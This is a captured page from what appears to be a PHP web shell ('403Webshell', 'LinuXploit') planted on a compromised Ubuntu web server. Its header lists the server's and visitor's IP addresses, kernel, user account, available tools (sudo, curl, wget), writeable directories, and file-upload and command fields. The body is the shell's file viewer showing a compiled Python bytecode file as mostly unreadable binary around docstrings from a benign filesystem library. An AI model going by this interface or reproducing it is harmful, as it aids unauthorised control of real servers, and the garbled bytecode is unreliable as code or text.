403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/fs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/fs/__pycache__/appfs.cpython-312.pyc
�

��ob���b�dZddlZddlZddlZddlmZddlmZddlm	Z	ejrddlmZmZgd�Z
Gd	�d
ej�Zej e�Gd�de	��ZGd
�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�Zy)z�Manage filesystems in platform-specific application directories.

These classes abstract away the different requirements for user data
across platforms, which vary in their conventions. They are all
subclasses of `~fs.osfs.OSFS`.

�N)�AppDirs�)�	make_repr)�OSFS)�Optional�Text)�
UserDataFS�UserConfigFS�
SiteDataFS�SiteConfigFS�UserCacheFS�	UserLogFSc�"��eZdZdZ�fd�Z�xZS)�
_CopyInitMetaa[A metaclass that performs a hard copy of the `__init__`.

    This is a fix for Sphinx, which is a pain to configure in a way that
    it documents the ``__init__`` method of a class when it is inherited.
    Copying ``__init__`` makes it think it is not inherited, and let us
    share the documentation between all the `_AppFS` subclasses.

    c���|jd|dj�ttj|�||||�S)N�__init__r)�
setdefaultr�super�abc�ABCMeta�__new__)�mcls�	classname�bases�cls_dict�	__class__s    ��*/usr/lib/python3/dist-packages/fs/appfs.pyrz_CopyInitMeta.__new__-s9������J��a��(9�(9�:��S�[�[�$�/��i���Q�Q�)�__name__�
__module__�__qualname__�__doc__r�
__classcell__�rs@rrr#s����R�Rrrc�<��eZdZdZdZ				d�fd�	Zd�Zd�Z�xZS)�_AppFSz"Abstract base class for an app FS.Nc���t||||�|_||_tt|�t
|j|j�|��y)aCreate a new application-specific filesystem.

        Arguments:
            appname (str): The name of the application.
            author (str): The name of the author (used on Windows).
            version (str): Optional version string, if a unique location
                per version of the application is required.
            roaming (bool): If `True`, use a *roaming* profile on
                Windows.
            create (bool): If `True` (the default) the directory
                will be created if it does not exist.

        )�createN)r�app_dirs�_createrr&r�getattr�app_dir)�self�appname�author�version�roamingr(rs      �rrz_AppFS.__init__;sF���, ����'�B��
����
�f�d�$��D�M�M�4�<�<�0��	%�	
rc	��t|jj|jj|jj
df|jjdf|jjdf|jdf��S)NFT)r/r0r1r()	rrrr)r.�	appauthorr0r1r*�r-s r�__repr__z_AppFS.__repr__Wsk����N�N�#�#��M�M�!�!��M�M�+�+�T�2��]�]�*�*�D�1��]�]�*�*�E�2��L�L�$�'�

�	
rc��dj|jjj�|jj
�S)Nz	<{} '{}'>)�formatrr�lowerr)r.r4s r�__str__z_AppFS.__str__bs7���!�!��N�N�#�#�)�)�+�T�]�]�-B�-B�
�	
r)NNFT)	rr r!r"r,rr5r9r#r$s@rr&r&2s*���,�
�G�
����

�8	
�
rr&c��eZdZdZdZy)r	z�A filesystem for per-user application data.

    May also be opened with
    ``open_fs('userdata://appname:author:version')``.

    �
user_data_dirN�rr r!r"r,�rrr	r	i�����Grr	c��eZdZdZdZy)r
zA filesystem for per-user config data.

    May also be opened with
    ``open_fs('userconf://appname:author:version')``.

    �user_config_dirNr<r=rrr
r
t���� �Grr
c��eZdZdZdZy)r
z�A filesystem for per-user application cache data.

    May also be opened with
    ``open_fs('usercache://appname:author:version')``.

    �user_cache_dirNr<r=rrr
r
s����Grr
c��eZdZdZdZy)rz�A filesystem for application site data.

    May also be opened with
    ``open_fs('sitedata://appname:author:version')``.

    �
site_data_dirNr<r=rrrr�r>rrc��eZdZdZdZy)rz�A filesystem for application config data.

    May also be opened with
    ``open_fs('siteconf://appname:author:version')``.

    �site_config_dirNr<r=rrrr�rArrc��eZdZdZdZy)rz�A filesystem for per-user application log data.

    May also be opened with
    ``open_fs('userlog://appname:author:version')``.

    �user_log_dirNr<r=rrrr�s����Grr)r"�typingr�six�appdirsr�_reprr�osfsr�
TYPE_CHECKINGrr�__all__rr�
add_metaclassr&r	r
r
rrrr=rr�<module>rRs�����
�
����	���%���R�C�K�K�R�����=�!�3
�T�3
�"�3
�l��� �6� ��&����� �6� ���r

Youez - 2016 - github.com/yon3zu
LinuXploit